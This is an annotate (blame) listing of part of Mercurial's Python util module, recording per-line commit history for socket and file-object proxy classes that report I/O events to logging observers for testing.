Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
569 |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
570 fn = getattr(self._input._observer, r'osread', None) |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
571 if fn: |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
572 fn(res, _chunksize) |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
573 |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
574 return res |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
575 |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
576 # We use different observer methods because the operation isn't |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
577 # performed on the actual file object but on us. |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
578 def read(self, size): |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
579 res = super(observedbufferedinputpipe, self).read(size) |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
580 |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
581 fn = getattr(self._input._observer, r'bufferedread', None) |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
582 if fn: |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
583 fn(res, size) |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
584 |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
585 return res |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
586 |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
587 def readline(self, *args, **kwargs): |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
588 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs) |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
589 |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
590 fn = getattr(self._input._observer, r'bufferedreadline', None) |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
591 if fn: |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
592 fn(res) |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
593 |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
594 return res |
3158052720ae
util: enable observing of util.bufferedinputpipe
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36524
diff
changeset
|
595 |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
596 PROXIED_SOCKET_METHODS = { |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
597 r'makefile', |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
598 r'recv', |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
599 r'recvfrom', |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
600 r'recvfrom_into', |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
601 r'recv_into', |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
602 r'send', |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
603 r'sendall', |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
604 r'sendto', |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
605 r'setblocking', |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
606 r'settimeout', |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
607 r'gettimeout', |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
608 r'setsockopt', |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
609 } |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
610 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
611 class socketproxy(object): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
612 """A proxy around a socket that tells a watcher when events occur. |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
613 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
614 This is like ``fileobjectproxy`` except for sockets. |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
615 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
616 This type is intended to only be used for testing purposes. Think hard |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
617 before using it in important code. |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
618 """ |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
619 __slots__ = ( |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
620 r'_orig', |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
621 r'_observer', |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
622 ) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
623 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
624 def __init__(self, sock, observer): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
625 object.__setattr__(self, r'_orig', sock) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
626 object.__setattr__(self, r'_observer', observer) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
627 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
628 def __getattribute__(self, name): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
629 if name in PROXIED_SOCKET_METHODS: |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
630 return object.__getattribute__(self, name) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
631 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
632 return getattr(object.__getattribute__(self, r'_orig'), name) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
633 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
634 def __delattr__(self, name): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
635 return delattr(object.__getattribute__(self, r'_orig'), name) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
636 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
637 def __setattr__(self, name, value): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
638 return setattr(object.__getattribute__(self, r'_orig'), name, value) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
639 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
640 def __nonzero__(self): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
641 return bool(object.__getattribute__(self, r'_orig')) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
642 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
643 __bool__ = __nonzero__ |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
644 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
645 def _observedcall(self, name, *args, **kwargs): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
646 # Call the original object. |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
647 orig = object.__getattribute__(self, r'_orig') |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
648 res = getattr(orig, name)(*args, **kwargs) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
649 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
650 # Call a method on the observer of the same name with arguments |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
651 # so it can react, log, etc. |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
652 observer = object.__getattribute__(self, r'_observer') |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
653 fn = getattr(observer, name, None) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
654 if fn: |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
655 fn(res, *args, **kwargs) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
656 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
657 return res |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
658 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
659 def makefile(self, *args, **kwargs): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
660 res = object.__getattribute__(self, r'_observedcall')( |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
661 r'makefile', *args, **kwargs) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
662 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
663 # The file object may be used for I/O. So we turn it into a |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
664 # proxy using our observer. |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
665 observer = object.__getattribute__(self, r'_observer') |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
666 return makeloggingfileobject(observer.fh, res, observer.name, |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
667 reads=observer.reads, |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
668 writes=observer.writes, |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
669 logdata=observer.logdata, |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
670 logdataapis=observer.logdataapis) |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
671 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
672 def recv(self, *args, **kwargs): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
673 return object.__getattribute__(self, r'_observedcall')( |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
674 r'recv', *args, **kwargs) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
675 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
676 def recvfrom(self, *args, **kwargs): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
677 return object.__getattribute__(self, r'_observedcall')( |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
678 r'recvfrom', *args, **kwargs) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
679 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
680 def recvfrom_into(self, *args, **kwargs): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
681 return object.__getattribute__(self, r'_observedcall')( |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
682 r'recvfrom_into', *args, **kwargs) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
683 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
684 def recv_into(self, *args, **kwargs): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
685 return object.__getattribute__(self, r'_observedcall')( |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
686 r'recv_info', *args, **kwargs) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
687 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
688 def send(self, *args, **kwargs): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
689 return object.__getattribute__(self, r'_observedcall')( |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
690 r'send', *args, **kwargs) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
691 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
692 def sendall(self, *args, **kwargs): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
693 return object.__getattribute__(self, r'_observedcall')( |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
694 r'sendall', *args, **kwargs) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
695 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
696 def sendto(self, *args, **kwargs): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
697 return object.__getattribute__(self, r'_observedcall')( |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
698 r'sendto', *args, **kwargs) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
699 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
700 def setblocking(self, *args, **kwargs): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
701 return object.__getattribute__(self, r'_observedcall')( |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
702 r'setblocking', *args, **kwargs) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
703 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
704 def settimeout(self, *args, **kwargs): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
705 return object.__getattribute__(self, r'_observedcall')( |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
706 r'settimeout', *args, **kwargs) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
707 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
708 def gettimeout(self, *args, **kwargs): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
709 return object.__getattribute__(self, r'_observedcall')( |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
710 r'gettimeout', *args, **kwargs) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
711 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
712 def setsockopt(self, *args, **kwargs): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
713 return object.__getattribute__(self, r'_observedcall')( |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
714 r'setsockopt', *args, **kwargs) |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
715 |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
716 class baseproxyobserver(object): |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
717 def _writedata(self, data): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
718 if not self.logdata: |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
719 if self.logdataapis: |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
720 self.fh.write('\n') |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
721 self.fh.flush() |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
722 return |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
723 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
724 # Simple case writes all data on a single line. |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
725 if b'\n' not in data: |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
726 if self.logdataapis: |
37322
a67fd1fe5109
stringutil: drop escapedata() in favor of escapestr()
Yuya Nishihara <yuya@tcha.org>
parents:
37121
diff
changeset
|
727 self.fh.write(': %s\n' % stringutil.escapestr(data)) |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
728 else: |
37084
f0b6fbea00cf
stringutil: bulk-replace call sites to point to new module
Yuya Nishihara <yuya@tcha.org>
parents:
37083
diff
changeset
|
729 self.fh.write('%s> %s\n' |
37322
a67fd1fe5109
stringutil: drop escapedata() in favor of escapestr()
Yuya Nishihara <yuya@tcha.org>
parents:
37121
diff
changeset
|
730 % (self.name, stringutil.escapestr(data))) |
36991
d683c7367989
wireproto: explicitly flush stdio to prevent stalls on Windows
Matt Harbison <matt_harbison@yahoo.com>
parents:
36958
diff
changeset
|
731 self.fh.flush() |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
732 return |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
733 |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
734 # Data with newlines is written to multiple lines. |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
735 if self.logdataapis: |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
736 self.fh.write(':\n') |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
737 |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
738 lines = data.splitlines(True) |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
739 for line in lines: |
37084
f0b6fbea00cf
stringutil: bulk-replace call sites to point to new module
Yuya Nishihara <yuya@tcha.org>
parents:
37083
diff
changeset
|
740 self.fh.write('%s> %s\n' |
37322
a67fd1fe5109
stringutil: drop escapedata() in favor of escapestr()
Yuya Nishihara <yuya@tcha.org>
parents:
37121
diff
changeset
|
741 % (self.name, stringutil.escapestr(line))) |
36991
d683c7367989
wireproto: explicitly flush stdio to prevent stalls on Windows
Matt Harbison <matt_harbison@yahoo.com>
parents:
36958
diff
changeset
|
742 self.fh.flush() |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
743 |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
744 class fileobjectobserver(baseproxyobserver): |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
745 """Logs file object activity.""" |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
746 def __init__(self, fh, name, reads=True, writes=True, logdata=False, |
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
747 logdataapis=True): |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
748 self.fh = fh |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
749 self.name = name |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
750 self.logdata = logdata |
37044
d3a9036d9ae9
util: don't log low-level I/O calls for HTTP peer
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37010
diff
changeset
|
751 self.logdataapis = logdataapis |
37010
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
752 self.reads = reads |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
753 self.writes = writes |
8453699a1f21
util: observable proxy objects for sockets
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36991
diff
changeset
|
754 |
36524
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
755 def read(self, res, size=-1): |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
756 if not self.reads: |
bfe38f787d5b
util: add a file object proxy that can notify observers
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36432
diff
changeset
|
757 return |
36585
26a6b62919e2
util: work around Python 3 returning None at EOF instead of ''
Augie Fackler <augie@google.com>
parents:
36584
diff
changeset
|
758 # Python 3 can return None from reads at EOF instead of empty strings. |
26a6b62919e2
util: work around Python 3 returning None at EOF instead of ''
Augie Fackler <augie@google.com>
parents:
36584
diff
changeset
|
